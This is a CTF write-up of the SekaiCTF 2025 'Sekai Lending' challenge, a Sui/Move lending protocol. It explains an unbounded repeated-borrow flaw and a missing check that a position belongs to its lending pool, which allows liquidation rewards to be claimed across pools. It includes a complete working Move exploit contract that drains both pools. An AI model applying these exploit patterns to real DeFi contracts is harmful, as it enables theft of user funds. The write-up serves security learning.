SekaiCTF 2025
2811 words | 14 minutes
Blockchain
Sekai Lending
Welcome to fun lending service!
Difficulty: 3 ⯁ (Hard)
Solves: 11
Sekai Lending was an interesting Sui challenge and was my first time working with Move programs, so it did take a while for me to get a solve. I’ll do up this writeup a priori, assuming no prior exposure to Sui/Move. We’ll look at snippets of the challenge along the way — the full dist can be found here.
Setup
Sui has this helpful resource, the Move Book, with fairly comprehensive instructions on how to set up a local Sui development environment. Although the dist comes with a Dockerfile, I still found it more convenient to build and debug locally, only using the Docker container to run the local challenge server.
Move itself is built on top of Rust and is thus basically semantically equivalent, so it wasn’t too hard to get a feel for what the contracts were actually doing.
In a nutshell, the dist provides us with the following:
frameworkcontains the source for the challenge server.framework/chall/sourcescontains the actual Move source for the contracts whereasframework/src/main.rsis the server that you interact with.- The challenge server handles the deployment of the challenge contracts and calling of setup, then reads for the raw bytes of the compiled solution contract, deploys it and calls
solution::solve. framework-solveprovides us with a blank contract to toss in our solve operations and another helper Rust binary to read the builtsolution.mvbinary and send it to the challenge server.
Now that our local solving environment is in order, we can look towards actually solving the challenge.
The Premise
As the challenge name implies, we have a lending protocol where you can deposit COLLATERAL and borrow SEKAI in exchange.
The SEKAI and COLLATERAL coins just follow the regular Sui Coin Standard, with the only oddity being the differing coin decimals.
1 // from sekai_coin.move
2 fun init(witness: SEKAI_COIN, ctx: &mut TxContext) {
3 let (treasury, metadata) = coin::create_currency(
4 witness,
5 8,
6 b"SEKAI",
7 b"SEKAI Coin",
8 b"SEKAI Coin",
9 option::none(),
10 ctx,
11 );
12 transfer::public_freeze_object(metadata);
13 transfer::public_transfer(treasury, ctx.sender());
14 }
15
16 // from colalteral_coin.move
17 fun init(witness: COLLATERAL_COIN, ctx: &mut TxContext) {
18 let (treasury, metadata) = coin::create_currency(
19 witness,
20 9,
21 b"COLLATERAL",
22 b"COLLATERAL Coin",
23 b"COLLATERAL Coin",
24 option::none(),
25 ctx,
26 );
27 transfer::public_freeze_object(metadata);
28 transfer::public_transfer(treasury, ctx.sender());
29 }Initially I thought the decimal discrepancy would allow for some vulnerability (opportunity for rounding error) but alas, that was not the path.
In challenge.move, we see that 100 COLLAT and 100 SEKAI is initially minted for the lending contract, and the player is able to claim 10 COLLAT coins. A SEKAI_LENDING object is created with the coins minted for it.
1public fun create(sekai_treasury: &mut TreasuryCap<SEKAI_COIN>, collateral_treasury: &mut TreasuryCap<COLLATERAL_COIN>, ctx: &mut TxContext) {
2 let claim = coin::into_balance(coin::mint(collateral_treasury, INITIAL_CLAIM, ctx)); // 10 COLLAT
3 let collateral_coin = coin::mint(collateral_treasury, INITIAL_COLLATERAL, ctx); // 100 COLLAT
4 let sekai_coin = coin::mint(sekai_treasury, INITIAL_SEKAI, ctx); // 100 SEKAI
5 let sekai_lending = sekai_lending::create(collateral_coin, sekai_coin, ctx);
6 let challenge = Challenge {
7 id: object::new(ctx),
8 sekai_lending,
9 sekai_donation: balance::zero(),
10 collateral_donation: balance::zero(),
11 claim,
12 user_positions: vector::empty()
13 };
14 transfer::public_share_object(challenge);
15 }There’s also two functions, donate_sekai and donate_collateral whereby you can, well, donate coins to the challenge contract.
Our win condition is:
- The challenge contract having a
SEKAIbalance ofINITIAL_SEKAI * 8 / 10 = 80 SEKAI - The challenge contract having a
COLLATERALbalance ofINITIAL_COLLATERAL = 100 COLLAT
So we somehow have to drain the lending contract of almost all of its available liquidity and of all (or at least 90%) of its collateral.
Draining SEKAI
This turns out to be the easier part of the challenge whereby you only have to check the contract’s logic itself. In order to obtain SEKAI as an end-user, I have to perform the following:
- Call
open_position, creating a newUserPositionstruct- This creates a new
UserPositionobject with all of its members set to zero.
- This creates a new
- Call
deposit_collateralwith the amount ofCOLLATI want to put in. This callsdeposit_collateral_internal- The
COLLATcoin is transfered to the lending contract by callingbalance::join(Sui just moves like that, I guess. No pun intended) - The
position.colalteral_amountis increased by the amount deposited - The
self.total_collateralis increased by the amount deposited.selfhere is theSEKAI_LENDINGobject passed into the function.
- The
- Call
borrow_coin, specifying the amount ofSEKAII want to borrow- The
position.borrowed_amountis increased by the amount borrowed - The
self.total_borrowedis increased by the the amount borrowed borrowed_coinsamount ofSEKAIis returned to the caller
- The
Looking specifically at the borrow_coin function, we see this check performed:
1 let max_borrow = min(
2 ((convert_decimal(position.collateral_amount, COLLATERAL_DECIMALS, SEKAI_DECIMALS) * LTV_RATIO) / 100) as u128,
3 (self.borrowed_pool.value() * MAX_BORROW_RATIO / 100) as u128
4 );
5
6 assert!(borrow_amount <= max_borrow as u64, EInsufficientCollateral);The LTV_RATIO (Loan-To-Value Ratio) and MAX_BORROW_RATIO are both 80%, so basically you can borrow up to 80% against the position.collateral_amount (or the total available borrowable SEKAI in the contract, whichever is smaller). WIth only 10 COLLAT minted at the start, how would we borrow more than the permitted 8 SEKAI?
Well, there is a simple vulnerability here! Notice that the assert compares your borrow_amount to the calculated max_borrow. However, there is no check for how much you’ve already borrowed in the entire function! This means that you can repeatedly call borrow_coin as long as the borrow_amount passes the assert (i.e. you borrow no more than 80% against the collateral deposited) and you can simply overdraft the position trivially.
Implementing the SEKAI Drain
Cross Program Invocation in Sui is surprisingly simple! For us to proceed with solving we first have to figure out, well, how to interact with the challenge. Our initial solution.move file is a little sparse:
1module the_solution::solution {
2
3 use challenge::challenge::{Self, Challenge};
4
5 #[allow(lint(self_transfer))]
6 public fun solve(challenge: &mut Challenge, ctx: &mut TxContext) {
7 /*
8 exploit code
9 */
10 }
11
12}With Move, however, we can simply make use of the… use declarations to refer to the existing deployed modules. In our framework-solve folder, there’s a dependency folder whereby the source of the challenge contract is found. With this, we can actually just “import” stuff from those modules:
1 use sui::tx_context::{Self, TxContext};
2 use challenge::challenge::{Self, Challenge};
3 use challenge::sekai_coin::SEKAI_COIN;
4 use challenge::collateral_coin::COLLATERAL_COIN;
5 use challenge::sekai_lending::{Self, SEKAI_LENDING, UserPosition};
6 use sui::coin::{Self, Coin};
7 use sui::transfer;When deploying the solution contract, it needs to know where the challenge contract is deployed to on the blockchain. Thankfully, the challenge server emits that:
1 // Send Challenge Address
2 let mut output = String::new();
3 fmt::write(
4 &mut output,
5 format_args!(
6 "[SERVER] challenge modules published at: {}",
7 chall_addr.to_string().as_str(),
8 ),
9 )
10 .unwrap();
11 stream.write(output.as_bytes()).unwrap();For us to work with this, once we obtain the challenge address, we have to define it in the Move.toml of our solution contract’s build folder:
1 [package]
2 name = "the_solution"
3 version = "0.0.1"
4 edition = "2024.alpha"
5
6 [dependencies]
7 Sui = { git = "https://github.com/MystenLabs/sui.git", subdir = "crates/sui-framework/packages/sui-framework", rev = "mainnet" }
8
9 [dependencies.challenge]
10 version = '1.0.0'
11 local = '../dependency'
12
13 [addresses]
14 challenge = "0x94e67b4c52a99bf6dfe5e416afd776ec30300bbff24af33d3786166446d20d61" # this is from the server
15 the_solution = "0x0"Since we spin up a fresh server for interaction on remote and the contract code is identical, this challenge address should remain constant.
With this all in place, we can start implementing our first part of the challenge, draining of the SEKAI!
First, we create a new user position. Since we’re going to overdraft this position, it will become bad debt and we won’t be able to withdraw our collateral (in the withdraw_collateral function, there is a check that position.borrowed_amount <= max_borrow_amount). Thus, we only use 1 COLLAT to execute our draining.
1 let mut total_collateral_coin: Coin<COLLATERAL_COIN> = challenge.claim(ctx);
2 let deposit_amount = 1_000_000_000;
3 let deposit_coin = coin::split(&mut total_collateral_coin, deposit_amount, ctx);
4
5 let sekai_lending = challenge.get_sekai_lending_mut();
6
7 let mut user_position: UserPosition = sekai_lending.open_position(ctx);
8 sekai_lending.deposit_collateral(&mut user_position, deposit_coin, ctx);Then, we will be able to borrow 0.8 SEKAI against it each time. To get 80% of all available SEKAI from the contract, this means we need to withdraw at least 100 times.
1 let borrow_amount_each_time = 80_000_000;
2 let mut total_borrowed_sekai = sekai_lending.borrow_coin(
3 &mut user_position,
4 borrow_amount_each_time,
5 ctx
6 );
7 let mut i = 1;
8 while (i < 111) {
9 let next_borrowed_coin = sekai_lending.borrow_coin(
10 &mut user_position,
11 borrow_amount_each_time,
12 ctx
13 );
14 coin::join(&mut total_borrowed_sekai, next_borrowed_coin);
15 i = i + 1;
16 };And that’s it for the first part of our exploit! At the very end of our contract, we need to “give up” the objects that we are using by performing a public transfer:
1 transfer::public_transfer(total_collateral_coin, tx_context::sender(ctx));
2 transfer::public_transfer(user_position, tx_context::sender(ctx));
3 transfer::public_transfer(total_borrowed_sekai, tx_context::sender(ctx));Draining the COLLAT
Now this is the trickier part. We first look at the contract again for any instances of balance::split(&mut self.collateral_pool, ...), as that would be some point whereby coins from the collateral pool are being transferred out. There are four such instances:
remove_collateral, to remove collateral from theSEKAI_LENDINGobject. There is an assert at the start of the function to check that we areself.admin, which we fail.withdraw_collateral, to remove collateral from our user position. There’s no obvious incongruence here.claim_liquidation_reward, to claim liquidation rewards on any user position, with no check that the position was liquidated by you.withdraw_protocol_fees, to claim the protocol fees from liquidations. Similarly, we fail theself.admincheck.
It appears our best bet is to either 1) claim hella liquidation rewards somehow or 2) become admin somehow (foreshadowing).
We do need to address something first: the liquidation functionality.
There’s a massive liquidate_position function in this lending contract, but the logic itself is fairly simple.
In a lending protocol, to remain solvent, users should be able to liquidate other positions which have accrued bad debt (borrowing more than their collateral permits). By repaying their debt on their behalf, their collateral is forfeit and distributed to the liquidator and the protocol.
Here’s how it’s done in this contract:
1 let ltv = position.borrowed_amount * 100 / convert_decimal(position.collateral_amount, COLLATERAL_DECIMALS, SEKAI_DECIMALS);
2 let protocol_ltv = self.total_borrowed * 100 / convert_decimal(self.collateral_pool.value(), COLLATERAL_DECIMALS, SEKAI_DECIMALS);
3 assert!(ltv > LIQUIDATION_THRESHOLD || protocol_ltv > LIQUIDATION_THRESHOLD, ELiquidationThreshold);Firstly, for a position you input, it checks whether it has exceeded the liquidation threshold, which is 85%. Alternatively, it checks if the entire protocol has become insolvent, whereby too much is borrowed against the total available collateral.
1 let liquidator = tx_context::sender(ctx);
2 let repayment_amount = coin::value(&repayment);
3 assert!(repayment_amount >= position.borrowed_amount, EInsufficientRepayment);
4
5 let debt_to_repay = position.borrowed_amount;
6 let collateral_to_liquidate = position.collateral_amount;
7 let protocol_fee = (collateral_to_liquidate * LIQUIDATION_PENALTY) / 100;
8
9 let liquidator_reward = collateral_to_liquidate - protocol_fee;
10
11 balance::join(&mut self.borrowed_pool, coin::into_balance(repayment));This is the crux of the function. You repay the bad debt of the position, and the remaining collateral is split 90-10, where 90% becomes a claimable liquidator reward and 10% is kept by the protocol as a fee.
1 position.liquidation_epoch = tx_context::epoch(ctx);
2 position.is_liquidated = true;
3 position.liquidation_reward = liquidator_reward;
4 position.collateral_amount = 0;
5 position.borrowed_amount = 0;The user position passed in is then updated to reflect that it has been liquidated, with the liquidation reward set.
But once again, we seem to be stuck. When we create user positions, we can make them liquidatable by the prior SEKAI overborrowing exploit. However, when we want to liquidate the position, we need to be able to repay that excessively borrowed SEKAI. Furthermore, when we claim the liquidation rewards, we are simply claiming 90% of the collateral we put in to make that position, so we are making a net loss.
This is where the next vulnerability in the contract comes in.
Sui follows an object centric model, and as is basically assumed thus far, you cannot arbitrarily edit the objects you pass into these functions off-chain and hope it works. If that was possible, we would just have to edit the values of the user position we pass in and withdraw however much we want.
However, there is an issue with how all the functions whereby you pass in a SEKAI_LENDING object operate: there is no check whether the user position was created in correspondence with that SEKAI_LENDING object. What this means is I can create my own SEKAI_LENDING object with its own liquidity and collateral pool, then take a user position made with a different SEKAI_LENDING object and pass it into my own.
This is powerful as:
- I am the owner of my own
SEKAI_LENDINGobject, so I can withdraw any and all tokens that are processed by it - I can arbitrarily make my own lending object insolvent, meaning any
UserPositionobject I create will be liquidatable - When I liquidate the user position, it updates the liquidation reward which is tied to the object. It also updates the protocol fees of my lending object
- I can now withdraw all the tokens from my own lending object, reclaiming the collateral used to create the user position
- The user position is still a valid object that can then be passed into the original lending object in its
claim_liquidation_rewardfunction. Here, I get to withdraw the liquidation reward from the legitimate lending object’s collateral pool, making a net profit
A simple diagram looks like this:
![]() |
|---|
| Fig: For the visual learners |
So now we have a clear exploitation path to solve the rest of the challenge!
Implementing the COLLAT Drain
We will create our own lending object with a very small amounts of SEKAI and COLLAT. However, we will make the amount of SEKAI in the liquidity pool much higher than the COLLAT amount, such that we can borrow an excess of SEKAI against the total available COLLAT.
1 let collateral_for_new_pool = coin::split(&mut total_collateral_coin, 100, ctx);
2 let sekai_for_new_pool = coin::split(&mut total_borrowed_sekai, 1_000, ctx);
3 let mut new_lending: SEKAI_LENDING = sekai_lending::create(
4 collateral_for_new_pool,
5 sekai_for_new_pool,
6 ctx
7 );Now, we open a user position with our own lending object. After depositing collateral, we borrow against it, then remove all the collateral (which we can do, since we are the admin of our own lending object!).
1 let mut new_pos = new_lending.open_position(ctx);
2 let exploit_collateral_deposit = coin::split(&mut total_collateral_coin, 8_000_000_000, ctx);
3 new_lending.deposit_collateral(&mut new_pos, exploit_collateral_deposit, ctx);
4 let repayment_sekai = new_lending.borrow_coin(&mut new_pos, 800, ctx);
5 let removed_collateral = new_lending.remove_collateral(8_000_000_000, ctx);
6 coin::join(&mut total_collateral_coin, removed_collateral);We’re now free to liquidate the user position, then steal the liquidation reward from the original lending object.
1 new_lending.liquidate_position(&mut new_pos, repayment_sekai, ctx);
2 let stolen_collateral = sekai_lending.claim_liquidation_reward(&mut new_pos, ctx);
3 coin::join(&mut total_collateral_coin, stolen_collateral);From this, since we deposit 8 COLLAT, we can gain 7.2 COLLAT per liquidation reward claim off the original lending object! Now we just have to repeat this as many times as needed until we have accrued 100 COLLAT in total.
Complete Implementation
Putting everything together, we have this as our complete solution contract:
1module the_solution::solution {
2 use sui::tx_context::{Self, TxContext};
3 use challenge::challenge::{Self, Challenge};
4 use challenge::sekai_coin::SEKAI_COIN;
5 use challenge::collateral_coin::COLLATERAL_COIN;
6 use challenge::sekai_lending::{Self, SEKAI_LENDING, UserPosition};
7 use sui::coin::{Self, Coin};
8 use sui::transfer;
9
10
11 #[allow(lint(self_transfer))]
12 public fun solve(challenge: &mut Challenge, ctx: &mut TxContext) {
13
14 let target_collat = 100 * 1_000_000_000;
15
16 let mut total_collateral_coin: Coin<COLLATERAL_COIN> = challenge.claim(ctx);
17 let deposit_amount = 1_000_000_000;
18 let deposit_coin = coin::split(&mut total_collateral_coin, deposit_amount, ctx);
19
20 let sekai_lending = challenge.get_sekai_lending_mut();
21
22 let mut user_position: UserPosition = sekai_lending.open_position(ctx);
23 sekai_lending.deposit_collateral(&mut user_position, deposit_coin, ctx);
24
25 let borrow_amount_each_time = 80_000_000;
26 let mut total_borrowed_sekai = sekai_lending.borrow_coin(
27 &mut user_position,
28 borrow_amount_each_time,
29 ctx
30 );
31 let mut i = 1;
32 while (i < 111) {
33 let next_borrowed_coin = sekai_lending.borrow_coin(
34 &mut user_position,
35 borrow_amount_each_time,
36 ctx
37 );
38 coin::join(&mut total_borrowed_sekai, next_borrowed_coin);
39 i = i + 1;
40 };
41
42
43 while (coin::value(&total_collateral_coin) < target_collat) {
44 let collateral_for_new_pool = coin::split(&mut total_collateral_coin, 100, ctx);
45 let sekai_for_new_pool = coin::split(&mut total_borrowed_sekai, 1_000, ctx);
46 let mut new_lending: SEKAI_LENDING = sekai_lending::create(
47 collateral_for_new_pool,
48 sekai_for_new_pool,
49 ctx
50 );
51
52 let mut new_pos = new_lending.open_position(ctx);
53 let exploit_collateral_deposit = coin::split(&mut total_collateral_coin, 8_000_000_000, ctx);
54 new_lending.deposit_collateral(&mut new_pos, exploit_collateral_deposit, ctx);
55 let repayment_sekai = new_lending.borrow_coin(&mut new_pos, 800, ctx);
56 let removed_collateral = new_lending.remove_collateral(8_000_000_000, ctx);
57 coin::join(&mut total_collateral_coin, removed_collateral);
58
59 new_lending.liquidate_position(&mut new_pos, repayment_sekai, ctx);
60 let stolen_collateral = sekai_lending.claim_liquidation_reward(&mut new_pos, ctx);
61 coin::join(&mut total_collateral_coin, stolen_collateral);
62
63 transfer::public_transfer(new_lending, tx_context::sender(ctx));
64 transfer::public_transfer(new_pos, tx_context::sender(ctx));
65 };
66
67 let donation_amount = 100 * 80_000_000;
68 let donation_coin = coin::split(&mut total_borrowed_sekai, donation_amount, ctx);
69 challenge.donate_sekai(donation_coin);
70 let collateral_donation_coin = coin::split(&mut total_collateral_coin, target_collat, ctx);
71 challenge.donate_collateral(collateral_donation_coin);
72
73 transfer::public_transfer(total_collateral_coin, tx_context::sender(ctx));
74 transfer::public_transfer(user_position, tx_context::sender(ctx));
75 transfer::public_transfer(total_borrowed_sekai, tx_context::sender(ctx));
76 }
77}Run this against the remote and we get our flag!
Flag: SEKAI{fun-lending-service-zzlol}
